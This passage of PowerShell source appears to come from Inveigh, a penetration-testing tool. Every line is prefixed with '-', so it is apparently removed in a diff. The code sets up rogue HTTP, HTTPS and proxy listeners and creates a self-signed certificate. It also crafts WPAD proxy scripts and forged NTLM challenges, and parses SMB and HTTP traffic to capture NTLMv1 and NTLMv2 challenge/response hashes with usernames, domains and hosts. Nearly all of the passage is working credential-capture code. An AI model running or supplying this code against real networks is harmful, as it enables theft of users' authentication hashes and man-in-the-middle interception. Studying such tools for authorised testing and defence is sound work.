$inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null - } - else - { - - if($HTTPIP -ne '0.0.0.0') - { - $inveigh.status_queue.Add("HTTP IP = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - - $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null -} - -if($HTTPS -eq 'Y') -{ - - if($HTTPS_port_check) - { - $HTTPS = "N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null - } - else - { - - try - { - $inveigh.certificate_issuer = $HTTPSCertIssuer - $inveigh.certificate_CN = $HTTPSCertSubject - $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null - $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null - $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - if(!$certificate_check) - { - # credit to subTee for cert creation code https://github.com/subTee/Interceptor - $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" - $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) - $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" - $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) - $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" - $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" - $certificate_key.KeySpec = 2 - $certificate_key.Length = 2048 - $certificate_key.MachineContext = 1 - $certificate_key.Create() - $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" - $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") - $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" - $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) - $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" - $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) - $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" - $certificate.InitializeFromPrivateKey(2,$certificate_key,"") - $certificate.Subject = $certificate_distinguished_name - $certificate.Issuer = $certificate_issuer_distinguished_name - $certificate.NotBefore = (get-date).AddDays(-271) - $certificate.NotAfter = $certificate.NotBefore.AddDays(824) - $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId - $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") - $certificate.HashAlgorithm = $certificate_hash_algorithm_OID - $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) - $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" - $certificate_basic_constraints.InitializeEncode("true",1) - $certificate.X509Extensions.Add($certificate_basic_constraints) - $certificate.Encode() - $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" - $certificate_enrollment.InitializeFromRequest($certificate) - $certificate_data = $certificate_enrollment.CreateRequest(0) - $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") - $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) - } - else - { - - if($HTTPSForceCertDelete -eq 'Y') - { - $inveigh.HTTPS_force_certificate_delete = $true - } - - $inveigh.HTTPS_existing_certificate = $true - $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null - } - - $inveigh.HTTPS = $true - - if($HTTPIP -ne '0.0.0.0') - { - $inveigh.status_queue.Add("HTTPS IP = $HTTPIP") > $null - } - - if($HTTPSPort -ne 443) - { - $inveigh.status_queue.Add("HTTPS Port = $HTTPSPort") > $null - } - - $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null - - } - catch - { - $HTTPS = "N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Error") > $null - } - - } - -} -else -{ - $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null -} - -if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') -{ - $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($WPADAuth -like "NTLM*") - { - $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - - if($WPADAuthIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null - } - - } - - if($HTTPDir -and !$HTTPResponse) - { - $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null - - if($HTTPDefaultFile) - { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null - } - - if($HTTPDefaultEXE) - { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null - } - - } - - if($HTTPResponse) - { - $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null - } - - if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text') - { - $inveigh.status_queue.Add("HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null - } - - if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') - { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - - if($HTTPResetDelay.Count -gt 0) - { - $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null - } - - if($Proxy -eq 'Y') - { - - if($proxy_port_check) - { - $Proxy = "N" - $inveigh.status_queue.Add("Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null - } - else - { - $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null - $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null - $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null - $ProxyPortFailover = $ProxyPort + 1 - $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) - - if($ProxyIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null - } - - if($ProxyIP -eq '0.0.0.0') - { - $proxy_WPAD_IP = $IP - } - else - { - $proxy_WPAD_IP = $ProxyIP - } - - if($WPADIP -and $WPADPort) - { - $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $WPADIP`:$WPADPort; DIRECT`";}" - } - else - { - $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_wpad_IP`:$ProxyPortFailover; DIRECT`";}" - } - - } - - } - - if($WPADDirectHosts) - { - ForEach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null - } - - if($WPADResponse -and $Proxy -eq 'N') - { - $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null - } - elseif($WPADResponse -and $Proxy -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Proxy Response = Enabled") > $null - - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD Failover = $WPADIP`:$WPADPort") > $null - } - - } - elseif($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD Response = Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null - - if($WPADDirectHosts) - { - ForEach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null - } - else - { - $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $WPADIP`:$WPADPort; DIRECT`";}" - } - - } - elseif($WPADDirectFile -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null - $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" - } - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - -} - -if($MachineAccounts -eq 'N') -{ - $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null - $inveigh.machine_accounts = $false -} -else -{ - $inveigh.machine_accounts = $true -} - -if($ConsoleOutput -ne 'N') -{ - - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null - } - - $inveigh.console_output = $true - - if($ConsoleStatus -eq 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null - } - elseif($ConsoleStatus -gt 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null - } - -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null - } - -} - -if($ConsoleUnique -eq 'Y') -{ - $inveigh.console_unique = $true -} -else -{ - $inveigh.console_unique = $false -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null -} - -if($FileUnique -eq 'Y') -{ - $inveigh.file_unique = $true -} -else -{ - $inveigh.file_unique = $false -} - -if($RunCount) -{ - $inveigh.status_queue.Add("Run Count = $RunCount") > $null -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - switch -Wildcard ($inveigh.status_queue[0]) - { - - {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh" -or $_ -like "Windows Firewall = Enabled"} - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) - } - - default - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) - } - - } - - } - -} - -# Begin ScriptBlocks - -# Shared Basic Functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - - function DataToUInt16($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt16($field,0) - } - - function DataToUInt32($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt32($field,0) - } - - function DataLength2 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataLength4 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - - function ConvertFrom-PacketOrderedDictionary - { - param($packet_ordered_dictionary) - - ForEach($field in $packet_ordered_dictionary.Values) - { - $byte_array += $field - } - - return $byte_array - } - -} - -# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response -$SMB_NTLM_functions_scriptblock = -{ - - function SMBNTLMChallenge - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge - } - - function SMBNTLMResponse - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000") - - if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") - { - $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 - - $LM_length = DataLength2 ($NTLMSSP_offset + 12) $payload_bytes - $LM_offset = DataLength4 ($NTLMSSP_offset + 16) $payload_bytes - $LM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" - - $NTLM_length = DataLength2 ($NTLMSSP_offset + 20) $payload_bytes - $NTLM_offset = DataLength4 ($NTLMSSP_offset + 24) $payload_bytes - $NTLM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" - - $domain_length = DataLength2 ($NTLMSSP_offset + 28) $payload_bytes - $domain_offset = DataLength4 ($NTLMSSP_offset + 32) $payload_bytes - $NTLM_domain_string = DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $payload_bytes - - $user_length = DataLength2 ($NTLMSSP_offset + 36) $payload_bytes - $user_offset = DataLength4 ($NTLMSSP_offset + 40) $payload_bytes - $NTLM_user_string = DataToString ($NTLMSSP_offset + $user_offset) $user_length $payload_bytes - - $host_length = DataLength2 ($NTLMSSP_offset + 44) $payload_bytes - $host_offset = DataLength4 ($NTLMSSP_offset + 48) $payload_bytes - $NTLM_host_string = DataToString ($NTLMSSP_offset + $host_offset) $host_length $payload_bytes - - if($NTLM_length -gt 24) - { - $NTLMv2_response = $NTLM_response.Insert(32,':') - $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - $inveigh.NTLMv2_list.Add($NTLMv2_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) - $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } - - if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) - } - - } - - } - elseif($NTLM_length -eq 24) - { - $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - $inveigh.NTLMv1_list.Add($NTLMv1_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) - $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } - - if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) - } - - } - - } - - } - - } - -} - -# HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener -$HTTP_scriptblock = -{ - param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse, - $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse) - - function NTLMChallengeBase64 - { - param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($Challenge) - { - $HTTP_challenge = $Challenge - $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null - - if($NTLMESS) - { - $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a - } - else - { - $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a - } - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00 + - $HTTP_NTLM_negotiation_flags + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = "NTLM " + $NTLM_challenge_base64 - - return $NTLM - } - - if($HTTPS_listener) - { - $HTTP_type = "HTTPS" - } - elseif($proxy_listener) - { - $HTTP_type = "Proxy" - } - else - { - $HTTP_type = "HTTP" - } - - if($HTTPIP -ne '0.0.0.0') - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $HTTP_running = $true - $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint - $HTTP_client_close = $true - - if($proxy_listener) - { - $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) - $HTTP_listener.Server.LingerState = $HTTP_linger - } - - try - { - $HTTP_listener.Start() - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - $HTTP_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - } - - :HTTP_listener_loop while($inveigh.running -and $HTTP_running) - { - $TCP_request = "" - $TCP_request_bytes = New-Object System.Byte[] 4096 - $HTTP_send = $true - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") - $HTTP_header_cache_control = "" - $HTTP_header_authenticate = "" - $HTTP_header_authenticate_data = "" - $HTTP_message = "" - $HTTP_header_authorization = "" - $HTTP_header_host = "" - $HTTP_header_user_agent = "" - $HTTP_request_raw_URL = "" - $NTLM = "NTLM" - - while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) - { - - Start-Sleep -m 10 - - if(!$inveigh.running) - { - break HTTP_listener_loop - } - - } - - if($HTTPS_listener) - { - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() - $HTTP_clear_stream = $HTTP_client.GetStream() - $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) - $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) - $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) - } - - [Byte[]]$SSL_request_bytes = $null - - do - { - $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] - } while ($HTTP_clear_stream.DataAvailable) - - $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) - } - else - { - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() - $HTTP_stream = $HTTP_client.GetStream() - } - - if($HTTP_stream.DataAvailable) - { - $HTTP_data_available = $true - } - else - { - $HTTP_data_available = $false - } - - while($HTTP_stream.DataAvailable) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - } - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*" -or $TCP_request -like "50-4f-53-54*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString - - if($NBNSBruteForcePause) - { - $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $inveigh.hostname_spoof = $true - } - - if($TCP_request -like "*-48-6F-73-74-3A-20-*") - { - $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) - $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) - $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) - } - - if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") - { - $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) - $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) - $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) - - if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_})) - { - $HTTP_reset_delay = $true - $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout - $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - } - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - 